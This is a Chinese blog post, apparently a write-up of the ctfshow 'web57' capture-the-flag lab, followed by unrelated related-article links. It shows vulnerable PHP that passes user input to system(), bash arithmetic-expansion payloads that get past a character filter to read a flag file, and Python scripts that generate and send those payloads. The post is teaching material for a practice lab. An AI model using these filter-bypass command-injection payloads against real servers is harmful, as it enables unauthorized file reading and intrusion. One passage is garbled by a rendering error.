当前位置: 首页 > ds >正文

[ctfshow web入门] web57

信息收集

这下把.也过滤了,临时文件上传无法使用了

//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

解题

$(())=0
$((~$(())))=-1

上面那两个表达式什么意思,看下面两篇博客:
博客1:$(( )) (( )) ( ) $( ) 区别详细说明和对比
博客2:shell $() $(()) $[] $[[]] ${} 使用语法
在这里插入图片描述

0取反得-1的操作,和计算机对于数据的记录方式有关,这是补码表示法,最高位是符号位。例如:1 = b0001 0=b0000 -1 = b1111,1到-1的变化是按位取反,然后加1,也就是 b0001 >> b1110 >> b1111 而0(b0000)直接使用取反得到的就是b1111也就是-1
不理解也没关系,会用就行。至于你问我为什么这样规定,那段计算机发展史我也不记得了,只知道反码表示法有0(b0000)和-0(b1111),存在歧义。

所以

36.php = 36 = -37 = -1-1-1...-1-1 = $(($((~$(())))...$((~$(())))))

至于为什么是-37,那你可以按照补码方式手工计算,按位取反然后加一。或者用现代人的办法,按计算器
在这里插入图片描述
由于手写容易出错,肉眼还看不出来,所以用代码生成一个

def get_negative(n):minus_one = "$((~$(())))"return minus_one * nprint(f"?c=$((~$(({get_negative(37)}))))")
?c=$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

抓包即可拿到flag
在这里插入图片描述

至于给的另一个答案有点搞笑,把小写字母都过滤了,怎么可能有答案

?c=grep${IFS}'fla'${IFS}fla??php

还有高手

$ set --        # 清空参数
$ echo $#       # 输出0
$ echo ${##}    # 输出1,因为$#的值是0,所以${##}是长度1(字符'0'的长度)

在这里插入图片描述
在这里插入图片描述
所以可以KaTeX parse error: Expected '}', got '#' at position 2: {#̲#}+{##}…${##} = 36
在这里插入图片描述

import requests
def get_num(n):one = "${##}+"return (one * n)[:-1]if __name__ == "__main__":url = "http://54b70014-6b4c-469d-8c2d-7548176a4136.challenge.ctf.show/"payload = f"?c=$((~$(({get_num(36)}))))"res = requests.get(url + payload)print(res.text)

payload:

?c=$((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}))

在这里插入图片描述
很可惜,这个虽然构造出36,但是无法成功获取flag,我尝试了get_num(9) get_num(2) get_num(18) get_num(36),很显然,可能${##} != 1 2 3 4。

同样的,($$/$$) = 1我也进行了尝试,同样失败了


web58    目录    web56

http://www.xdnf.cn/news/4830.html

相关文章:

  • 2025 后端自学UNIAPP【项目实战:旅游项目】3、API接口请求封装,封装后的简单测试以及实际使用
  • springCloud/Alibaba常用中间件之GateWay网关
  • 大型语言模型在网络安全领域的应用综述
  • 【WEB3】区块链、隐私计算、AI和Web3.0——数据民主化(1)
  • Python爬虫(21)Python爬虫进阶:Selenium自动化处理动态页面实战解析
  • RabbitMQ--基础篇
  • Android Studio 模拟器配置方案
  • 跨平台移动开发框架React Native和Flutter性能对比
  • 每周靶点分享:Angptl3、IgE、ADAM9及文献分享:抗体的多样性和特异性以及结构的新见解
  • 从代码学习深度学习 - 单发多框检测(SSD)PyTorch版
  • Comfyui 与 SDwebui
  • C++内存管理与模板初阶详解:从原理到实践
  • Java详解LeetCode 热题 100(13):LeetCode 53:最大子数组和(Maximum Subarray)详解
  • Android学习总结之算法篇八(二叉树和数组)
  • 10. CSS通配符与选择器权重深度解析:以《悯农》古诗为例
  • 比较Facebook与其他社交平台的隐私保护策略
  • RSS 2025|斯坦福提出「统一视频行动模型UVA」:实现机器人高精度动作推理
  • 机器视觉的手机FPC油墨丝印应用
  • 在k8s中,如何实现服务的访问,k8s的ip是变化的,怎么保证能访问到我的服务
  • 数据结构-非线性结构-二叉树
  • G口大带宽服务器线路怎么选
  • 根据窗口大小自动调整页面缩放比例,并保持居中显示
  • Python程序,输入IP,扫描该IP哪些端口对外是开放的,输出端口列表
  • Vue生命周期脚手架工程Element-UI
  • 经济体制1
  • http重新为https
  • 基于FPGA婴儿安全监护系统(蓝牙小程序监测)
  • 2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
  • R 语言机器学习:为遥感数据处理开启新视角
  • 二元随机响应(Binary Randomized Response, RR)的翻转概率